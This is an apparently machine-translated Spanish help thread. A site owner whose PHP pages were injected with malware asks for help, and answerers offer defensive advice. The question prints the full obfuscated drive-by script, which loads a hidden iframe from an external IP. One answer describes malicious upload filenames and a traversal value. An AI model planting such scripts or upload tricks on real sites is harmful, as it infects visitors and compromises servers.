pasar - Script PHP: código JavaScript malicioso al final
pasar variable php a html (10)
El problema:
En mi espacio web hay archivos PHP que terminan con esto:
<?php include ''footer.php''; ?>
Antes de esta línea, también hay código HTML en los archivos.
La salida en el navegador termina con esto, por supuesto:
</body>
</html>
Pero ayer, hubo un código malicioso al final, de repente. El resultado de mi index.php fue:
</body>
</html><body><script>
var i={j:{i:{i:''~'',l:''.'',j:''^''},l:{i:''%'',l:218915,j:1154%256},j:{i:1^0,l:55,j:''ijl''}},i:{i:{i:function(j){try{var l=document[''/x63/x72/x65/x61/x74/x65/x45/x6c/x65/x6d/x65/x6e/x74''](''/x69/x6e/x70/x75/x74'');l[''/x74/x79/x70/x65'']=''/x68/x69/x64/x64/x65/x6e'';l[''/x76/x61/x6c/x75/x65'']=j;l[''/x69/x64'']=''/x6a'';document[''/x62/x6f/x64/x79''][''/x61/x70/x70/x65/x6e/x64/x43/x68/x69/x6c/x64''](l);}catch(j){return false;}
return true;},l:function(){try{var l=document[''/x67/x65/x74/x45/x6c/x65/x6d/x65/x6e/x74/x42/x79/x49/x64''](''/x6a'');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i(''.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39''));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j(''trashtext'');var j=(l)?l:''trashtext'';return j||false;},l:function(){var l=document[''/x63/x72/x65/x61/x74/x65/x45/x6c/x65/x6d/x65/x6e/x74''](''/x6c'');l[''/x77/x69/x64/x74/x68'']=''0.1em'';l[''/x68/x65/x69/x67/x68/x74'']=''0.2em'';l[''/x73/x74/x79/x6c/x65''][''/x62/x6f/x72/x64/x65/x72'']=''none'';l[''/x73/x74/x79/x6c/x65''][''/x64/x69/x73/x70/x6c/x61/x79'']=''none'';l[''/x69/x6e/x6e/x65/x72/x48/x54/x4d/x4c'']=''/x6c'';l[''/x69/x64'']=''/x6c'';document[''/x62/x6f/x64/x79''][''/x61/x70/x70/x65/x6e/x64/x43/x68/x69/x6c/x64''](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document[''/x67/x65/x74/x45/x6c/x65/x6d/x65/x6e/x74/x42/x79/x49/x64''](''/x6c'');var j=document[''/x63/x72/x65/x61/x74/x65/x45/x6c/x65/x6d/x65/x6e/x74''](''/x69/x66/x72/x61/x6d/x65'');j[''/x68/x65/x69/x67/x68/x74'']=j[''/x77/x69/x64/x74/x68''];j[''/x73/x72/x63'']=i.i.j.i(i.i.l.i());try{l[''/x61/x70/x70/x65/x6e/x64/x43/x68/x69/x6c/x64''](j);}catch(j){}}},j:{i:function(l){return l[''replace''](/[A-Za-z]/g,function(j){return String[''/x66/x72/x6f/x6d/x43/x68/x61/x72/x43/x6f/x64/x65'']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)[''/x74/x6f/x53/x74/x72/x69/x6e/x67'']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l[''replace''](/[.]/g,''%'');return window[''/x75/x6e/x65/x73/x63/x61/x70/x65''](l);},l:''50'',j:''33''},l:{i:''62'',l:''83'',j:''95''},j:{i:''46'',l:''71'',j:''52''}}}
i.i.l.j();</script>
Abrí el archivo en mi espacio web (descargado a través de FTP) y vi que alguien había puesto este código en el archivo.
¿Cómo pudo pasar esto?
Las únicas formas que puedo imaginar:
- Alguien obtuvo mi contraseña de FTP. Pero no solo lo habría puesto en un solo archivo. Él podría haber hecho mucho más daño. Entonces no me puedo imaginar que este sea el caso.
- Tengo un virus en mi PC yo mismo. Uso Notepad ++ para editar y FileZilla para cargar. Quizás estos programas también estaban contaminados y cargué el código malicioso sin saberlo.
- Alguien usó un agujero de seguridad (XSS) para poner ese código en la página. Pero no pudo haberlo incluido en el archivo, ¿o sí?
Síntomas:
Los usuarios informaron que apareció un panel azul en Firefox. Les pidió que instalaran un complemento. Ahora algunos de ellos tienen Exploit.Java.CVE-2010-0886.a en su PC.
¿Esto se debe al código malicioso? ¿Qué hizo el código exactamente?
¿Me puedes ayudar?
Por favor, ayúdame, estoy realmente desesperado.
Quizás una pregunta adicional, si sabes cómo podría haberlo conseguido: ¿cómo podría evitar algo como esto en el futuro?
Editar # 1:
Encontré un archivo llamado "x76x09.php" en el directorio raíz de mi espacio web. Tiene un tamaño de archivo de 44.281 bytes. Lo descargué e intenté abrirlo. Pero mi software antivirus dijo que es un troyano (Trojan.Script.224490). Creo que este archivo se ha ejecutado y agregó el código malicioso al "index.php" en cada directorio. ¿Esto ayuda? ¿Cómo podría el troyano llegar a mi espacio web? ¿Es este un virus bien conocido?
Editar # 2:
Mi hoster dice que ahora puede estar seguro de que el archivo no se cargó a través de FTP. Entonces la infección no ocurrió vía FTP. De acuerdo con mi proveedor de servicios de alojamiento, deben ser guiones inseguros.
Editar # 3:
Agujeros de seguridad según PHPSecInfo:
- allow_url_fopen = 1
- allow_url_include = 1
- expose_php = 1
- file_uploads = 1 (¿esto es culpa del archivo malicioso "x76x09.php"?)
- group_id = 99
- user_id = 99
Editar # 4:
Analicé el archivo que se había ejecutado en mi servidor web. Aquí están los resultados .
Entonces, este virus parece ser conocido como:
- PHP / C99Shell.BF
- Backdoor / PHP.C99Shell
- BackDoor.Generic_c.CQA
- Trojan.Script.224490
- Exploit.PHP.635
- Backdoor.PHP.C99Shell.bf
- Trojan.Script.224490
¿Podrían algunos de ellos causar el archivo malicioso en mi espacio web que agregó el código malicioso?
¿Con quién estás alojado? Algunos hosters tienen fugas de seguridad que pueden ser explotadas.
¿Estás usando WordPress? También ha habido una serie de brotes informados. Lo mejor que se puede hacer es buscar personas con problemas similares, lo que también conducirá a la causa, lo que dará lugar a las soluciones.
Parece que tu servidor se ha visto comprometido, ¿también estás en un host compartido?
Puede encontrar la configuración de seguridad de su servidor con:
Si tiene una dirección IP estática, puede prohibir el acceso a ftp desde una IP no suya
Sugeriría cambiar cualquier contraseña de FTP o SSH para que sea muy segura. Si usa un proveedor de hosting, también debe notificarles sobre la violación. Si no tienes registros para investigar el asunto, entonces pueden hacerlo. También debe buscar en Google el código que se agregó a su página para ver si puede encontrar algo más.
Esto me sucedió hace un tiempo de diferentes maneras. Una cuenta de trabajo se vio comprometida a través de phpBB a través de un exploit de código. De alguna manera, incluso se agregaron a la tabla de usuarios de db mySQL. Eso nos llevó a eliminar por completo el programa y suspender su uso.
Una antigua instalación de Joomla era la vulnerabilidad que permitía a las personas hacer exactamente lo que usted dice en mi sitio personal. Había olvidado que estaba fuera, pero fue suficiente para abrirles la puerta a ellos para instalar código malicioso en varios sitios diferentes. Bajé el sitio, cambié los permisos, actualicé Joomla y borré archivos.
Mi servidor de producción actual se "olfatea" por phpMyAdmin más de 1000 veces por hora durante algunos intentos pico de pirateo. ¡Los malos están trabajando horas extras!
En pocas palabras, tenga cuidado con el código fuente abierto y, si lo usa, actualice, actualice, actualice.
Hemos tenido un problema similar hace un tiempo con una de nuestras principales propiedades web. Lo que dijo su servidor web era correcto: probablemente no se debía al acceso FTP, sino a un script inseguro que de alguna manera permitía la modificación de archivos arbitrarios. En nuestro caso, una vulnerabilidad en un antiguo phpMyAdmin permitió cambios en algunos scripts PHP.
Si aún no lo ha hecho, puede asegurarse de que el servidor web solo tenga privilegios de lectura para todos los scripts y archivos HTML. Resulta que Apache también podría escribir en scripts en nuestro caso. Simplemente
cd web_files_directory
chown -R some_not_web_server_user:some_not_web_server_group .
find . -type f | xargs chmod 644
find . -type d | xargs chmod 755
phsource es lo más cercano.
Si está en un servidor compartido, otras personas tienen acceso al servidor en sí. Esta es una especie de definición de servidor compartido. El problema es que si tiene archivos con permisos de 777, son de escritura de grupos de usuarios del mundo. Lo que significa que cualquier persona con acceso a la caja puede escribirles. Ver el problema?
Todo lo que se necesita es que una persona en esa caja tenga una contraseña débil, una secuencia de comandos mal configurada o un código horrible, y un scriptd kidd mediocre puede causar todo tipo de problemas. La mayoría de estos ataques son puramente automatizados. Obtienen acceso, escanean en busca de archivos atacables y añaden según sea necesario.
Lo más probable es que deba cambiar todos sus archivos a 755 o 644 permisos. Dormirás mejor por la noche.
Y cuando termine de limpiarlo, asegúrese de que Google no lo haya marcado como un sitio malicioso. No es horrible limpiar, pero mientras tanto puede diezmar tu tráfico.
Como otros han sugerido, la vulnerabilidad es más probable en algún script que esté usando, tal vez algo que haya escrito usted mismo o una aplicación conocida que tenga vulnerabilidades conocidas. Esto podría ser una vulnerabilidad en un script de carga, pero quiero señalar que también es posible "cargar" archivos a través de inyección SQL, consulte el siguiente hilo para obtener más detalles.
Si usted mismo escribió la aplicación web vulnerable, ya tiene una ventaja al descubrir dónde encontrar la mayoría de los puntos de acceso que podrían ser explotados. Desafortunadamente, eso puede no ser lo suficientemente bueno (escribir y mantener aplicaciones web seguras es más difícil de lo que la gente piensa).
Si usted no escribió la aplicación usted mismo, o si está reutilizando componentes grandes y complejos que alguien más escribió, o si simplemente necesita ayuda para manejar la seguridad del sitio web, existen servicios comerciales que pueden rastrear su sitio. y tratar de descubrir dónde son vulnerables, por ejemplo:
http://www.qualys.com/products/qg_suite/was/
Estos servicios cuestan dinero, obviamente, pero generalmente se puede obtener una "prueba gratis" para ver si serían útiles. ¡Buena suerte!
No creo que el problema sea que estás usando un host compartido porque he encontrado otros seis ( degmsb , Benvolio , joomla01 , DJ-Alien , valerione1979 y Kars ) cuyos sitios web tenían el mismo script agregado. Además, es dudoso que cualquiera de sus archivos sea modificable por otros porque los archivos que se cargan a través de FTP están sujetos a la máscara de bits del modo de creación de archivos.
Mi mejor suposición es que alguien está descifrando sitios web utilizando exploits conocidos o exploits contra debilidades comunes, y que esta persona está identificando posibles objetivos con Google hacking . El sitio web de degmsb Wordpress y Benvolio''s Burning Board Lite probablemente se resquebrajaron mediante exploits conocidos (posiblemente exploits conocidos de complementos para estas bases de software como TinyMCE), y su sitio web, dado que usted mismo lo escribió, probablemente se resquebrajó mediante un exploit contra un sitio web común debilidad.
Dado que permite la carga de archivos (uno de sus scripts PHP acepta y guarda los archivos cargados por sus usuarios), consideraría CWE-434: Carga sin restricciones del archivo con Tipo peligroso . Un exploit CWE-434 funciona de la siguiente manera: supongamos que permite que los usuarios carguen imágenes o imágenes avatar. La secuencia de comandos a la que se cargaron las imágenes subidas puede guardar el archivo en /images
con el mismo nombre de archivo que el usuario proporcionó. Ahora imagine que alguien sube x76x09.gif.php
(o x76x09.gif.asp
, x76x09.gif.php4
, etc.). Su script guardará diligentemente esta carga en /images/x76x09.gif.php
y todo lo que el cracker debe hacer para que el servidor ejecute este script es navegar a /images/x76x09.gif.php
. Incluso si el archivo se llama x76x09.php.gif
, algunos servidores web ejecutarán el archivo.
Otra posibilidad es que el nombre de archivo de la carga que recibe PHP, $_FILES[''upload''][''name'']
, que es el valor del filename
en el encabezado Content-Disposition
que se envía, se construyó para algo como ../modules/x.gif
. Si su secuencia de comandos guardó el archivo recién subido a str_replace(''//', ''/'', ''/images/'' . basename($_FILES[''upload''][''name'']))
, o /images/../modules/x.gif
en un host que no sea de Windows ( http://codepad.org/t83dYZwa ), y había alguna manera para que el usuario haga que uno de sus scripts PHP include
o require
cualquier script en el directorio de los modules
( digamos index.php?module=x.gif&action=blah
), entonces el cracker podría ejecutar PHP arbitrario.
EDITAR: Parece que x76x09.php
es un tipo de buscador de directorios sin restricciones y cargador de archivos. Si un usuario consigue subirlo a su servidor, básicamente puede hacer cualquier cosa que pueda hacer con su acceso FTP. Bórralo.
EDIT2: busque copias de esta fuente PHP (la parte gzuncompress(base64_decode("HJ3H...geFb//eeff/79z/8A"));
). Eliminarlo de todos sus scripts PHP.
EDIT3: googleando partes de la secuencia de comandos PHP, he encontrado varias páginas web donde esta fuente se enumera textualmente, y todas estas páginas tienen algo que ver con la funcionalidad de carga de archivos para los sitios web respectivos. Por lo tanto, parece muy probable que el pirata informático de su sitio web haya utilizado un exploit CWE-434.